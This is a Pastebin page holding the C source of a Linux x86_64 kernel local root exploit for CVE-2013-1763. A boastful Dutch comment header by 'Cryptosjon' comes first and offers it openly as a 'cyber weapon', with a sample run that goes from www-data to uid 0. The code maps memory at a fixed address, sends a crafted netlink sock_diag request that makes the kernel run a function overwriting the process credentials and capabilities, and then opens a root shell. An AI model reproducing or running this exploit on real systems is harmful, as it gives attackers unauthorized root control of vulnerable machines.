Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- __ __
- ___________ ___.__._______/ |_ ____ ______ |__| ____ ____
- _/ ___\_ __ < | |\____ \ __\/ _ \/ ___/ | |/ _ \ / \
- \ \___| | \/\___ || |_> > | ( <_> )___ \ | ( <_> ) | \
- \___ >__| / ____|| __/|__| \____/____ >\__| |\____/|___| /
- \/ \/ |__| \/\______| \/
- V.S. LINUX X86_64 KERNEL 3.3.x - 3.5.x >> CVE-2013-1763
- What's up kids? Ik was al dat bier zuipen en @brenno pesten nou
- wel weer zat, dus ik ben van m'n luie reet gekomen en heb deze
- exploit voor jullie in elkaar gefietst.
- Nou hoor ik je denken "Cryptosjon, wat doe je nou in hemelsnaam??
- gooi je zo maar gevaarlijke cyber-wapens op straat??"
- Natuurlijk doe ik dat! Ik ben immers van mening dat cyberwapens
- geen staatsgeheimen (WERDUP MAARTEN) moeten zijn. Iedereen heeft
- recht op een beetje pwnage hier en daar.
- Omdat cryptosjon niet van moeilijk doen houd is deze exploit
- universeel gemaakt zodat je geen ellendige kernel symbooltjes uit
- je kallsyms die dichtgespijkert is hoeft te peuteren. (Werkt dus
- ook op een Ughabuntu machine bij U in de buurt!)
- Een successvolle run zou er ongever zo uit zien:
- www-data@echelon:/tmp$ gcc -o sjonnie cryptosjon-vs-linux.c
- www-data@echelon:/tmp$ ./sjonnie
- *** CRYPTOSJON V.S. LINUX X86_64 KERNEL 3.3.x - 3.8.x >> CVE-2013-1763
- >>> Knijp je billen bij elkaar..
- *** FOKKING NICE!! WEER EEN OVERWINNING VOOR CRYPTORON!!
- # id
- uid=0(root) gid=0(root) groups=0(root)
- Getest op ubuntu, arch, en nog wat rotzooi die ik had staan..
- Peace out,
- CRYPTOSJON (VOLG ME OP TWITTER GODVERDOMME, @CRYPTOSJON !@#$)
- GREETZ 4 LEETZ:
- BRENNO DE WINTER -- No hard pheelingz brah, yabyum binnekort
- PIM TAKKENBERG -- Samen zullen we NL monopoleren!!
- CHRIS VAN 'T HOF -- Die 4 rooie komen er aan, vriend!!
- RICKEY GEVERS -- blackhat naar whitehat, toppunt van ethiek!!
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <asm/types.h>
- #include <sys/socket.h>
- #include <sys/mman.h>
- #include <linux/netlink.h>
- #include <linux/sock_diag.h>
- #include <stdint.h>
- #include <ctype.h>
- #define BEST_GROOT 0x0000100000000800
- static int uid, gid;
- int IK_BEN_EEN_KERNEL(void *a, void *b) {
- int i,j;
- long *task;
- uint32_t *p;
- long *thread_info = (void*)((unsigned long)&i & ~(0x2000-1));
- task = (long*)thread_info[0];
- for(i = 0; i < 512; i++) {
- // valid ptr?
- if ((task[i] >> 36) != (thread_info[0] >> 36))
- continue;
- for(j = 0; j < 32; j++) {
- p = (uint32_t*)(task[i] + j*4);
- if (!(
- p[0] == uid && p[1] == uid &&
- p[2] == uid && p[3] == uid &&
- p[4] == gid && p[5] == gid &&
- p[6] == gid && p[7] == gid
- ))
- continue;
- // uid, gid, suid, sgid
- p[0] = p[1] = p[2] = p[3] = 0;
- // euid, egid, fsuid, fsgid
- p[4] = p[5] = p[6] = p[7] = 0;
- p = (uint32_t *) ((char *)(p + 8) + sizeof(void *));
- // cap_inheritable, cap_permitted, cap_effective
- p[0] = p[1] = p[2] = ~0;
- return 0;
- }
- }
- return -1;
- }
- int main(int argc, char *argv[]) {
- int s;
- struct nlmsghdr nh;
- struct sock_diag_req sdr;
- struct sockaddr_nl sa;
- struct iovec iov[2];
- struct msghdr msg;
- printf("*** CRYPTOSJON V.S. LINUX X86_64 KERNEL 3.3.x - 3.8.x >> CVE-2013-1763\n\n");
- void *mem = mmap(
- (void*)(BEST_GROOT & ~(0x1000-1)), 8192,
- PROT_READ|PROT_WRITE|PROT_EXEC,
- MAP_FIXED|MAP_ANONYMOUS|MAP_SHARED,
- -1, 0
- );
- *(void**)(mem + (BEST_GROOT&(0x1000-1)) + sizeof(long)) = IK_BEN_EEN_KERNEL;
- memset(&sa, 0, sizeof(sa));
- sa.nl_family = AF_NETLINK;
- s = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG);
- bind(s, (struct sockaddr*)&sa, sizeof(sa));
- memset(&nh, 0, sizeof(nh));
- nh.nlmsg_len = sizeof(nh) + sizeof(sdr);
- nh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
- nh.nlmsg_flags = NLM_F_REQUEST;
- sdr.sdiag_family = 49;
- sdr.sdiag_protocol = 0;
- iov[0].iov_base = (void*)&nh;
- iov[0].iov_len = sizeof(nh);
- iov[1].iov_base = (void*)&sdr;
- iov[1].iov_len = sizeof(sdr);
- memset(&msg, 0, sizeof(msg));
- msg.msg_iov = iov;
- msg.msg_iovlen = 2;
- uid = getuid();
- gid = getgid();
- sendmsg(s, &msg, 0);
- printf(">>> Knijp je billen bij elkaar..\n");
- if (getuid() == 0 && getgid() == 0) {
- printf("*** FOKKING NICE!! WEER EEN OVERWINNING VOOR CRYPTORON!!\n");
- system("/bin/sh");
- } else {
- printf("Pech voor jou, geen root sjellz :-(\n");
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement